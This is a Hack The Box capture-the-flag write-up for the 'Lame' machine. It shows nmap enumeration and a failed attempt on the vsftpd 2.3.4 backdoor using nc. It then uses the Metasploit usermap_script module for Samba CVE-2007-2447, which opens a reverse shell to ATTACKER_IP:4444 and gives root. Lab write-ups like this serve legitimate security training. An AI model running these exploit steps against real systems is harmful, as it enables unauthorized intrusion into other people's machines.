HTB: Lame

Linux box with multiple vulnerable services. vsftpd backdoor is filtered, but Samba 3.0.20 username map script command injection provides immediate root access.

Initial Enumeration

Nmap Scan

sudo nmap -sS -sV -T4 TARGET_IP -vvv

Results:

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Key Findings:

• vsftpd 2.3.4 on port 21 (known backdoor vulnerability)
• Samba 3.X running on ports 139/445
• Old SSH version on port 22

---

Initial Attack Vector - vsftpd Backdoor

Attempting vsftpd 2.3.4 Backdoor Exploit

vsftpd 2.3.4 contains a notorious backdoor (CVE-2011-2523) that opens a shell on port 6200 when triggered by a smiley face :) in the username field.

Terminal 1 - Triggering the backdoor:

nc TARGET_IP 21
USER hacker:)
PASS anything

Terminal 2 - Connecting to backdoor port:

nc TARGET_IP 6200

Verifying Port 6200 Status

sudo nmap -sS -p6200 TARGET_IP

Result:

PORT     STATE    SERVICE
6200/tcp filtered lm-x

Port 6200 is filtered - the vsftpd backdoor is either patched or firewalled. Dead end.

---

Pivoting to SMB Exploitation

SMB Service Enumeration

sudo nmap --script smb-os-discovery -p 139,445 TARGET_IP

Results:

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2025-11-21T07:33:31-05:00

Critical Discovery: Samba 3.0.20-Debian vulnerable to CVE-2007-2447

---

Exploitation - CVE-2007-2447

Understanding the Vulnerability

CVE-2007-2447 allows remote code execution through shell metacharacters in the username field when the “username map script” option is enabled in smb.conf.

Affected Versions: Samba 3.0.20 through 3.0.25rc3

Metasploit Exploitation

msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS TARGET_IP
set LHOST ATTACKER_IP
exploit

Output:

[*] Started reverse TCP handler on ATTACKER_IP:4444
[*] Command shell session 1 opened (ATTACKER_IP:4444 → TARGET_IP:51836)

Upgrading to Interactive Shell

/bin/bash -i

Result: root@lame:/#

Immediate root access - no privilege escalation needed.

---

Flag Retrieval

Locating Flags

Using locate for quick search:

locate user.txt
locate root.txt

Alternative Method

If locate database isn’t updated:

find / -name user.txt 2>/dev/null
find / -name root.txt 2>/dev/null

Flags obtained.

---

Notable Commands

Command	Description
nmap --script smb-os-discovery	Enumerate SMB service and OS details
nc TARGET_IP 21	Connect to FTP service manually
exploit/multi/samba/usermap_script	Metasploit module for CVE-2007-2447
locate filename	Fast file search using database
find / -name filename 2>/dev/null	Recursive file search, suppress errors

---

Key Takeaways

• Multiple attack vectors don’t guarantee multiple working exploits - enumerate thoroughly
• vsftpd 2.3.4 backdoor was a red herring (filtered port 6200)
• SMB enumeration scripts reveal exact vulnerable versions
• CVE-2007-2447 provides immediate root shell via username injection
• locate is faster than find but requires updated database
• Not all “easy” boxes require privilege escalation

---

Box: Lame

Difficulty: Easy

CVE: CVE-2007-2447

Root Method: Direct root via Samba username map script exploit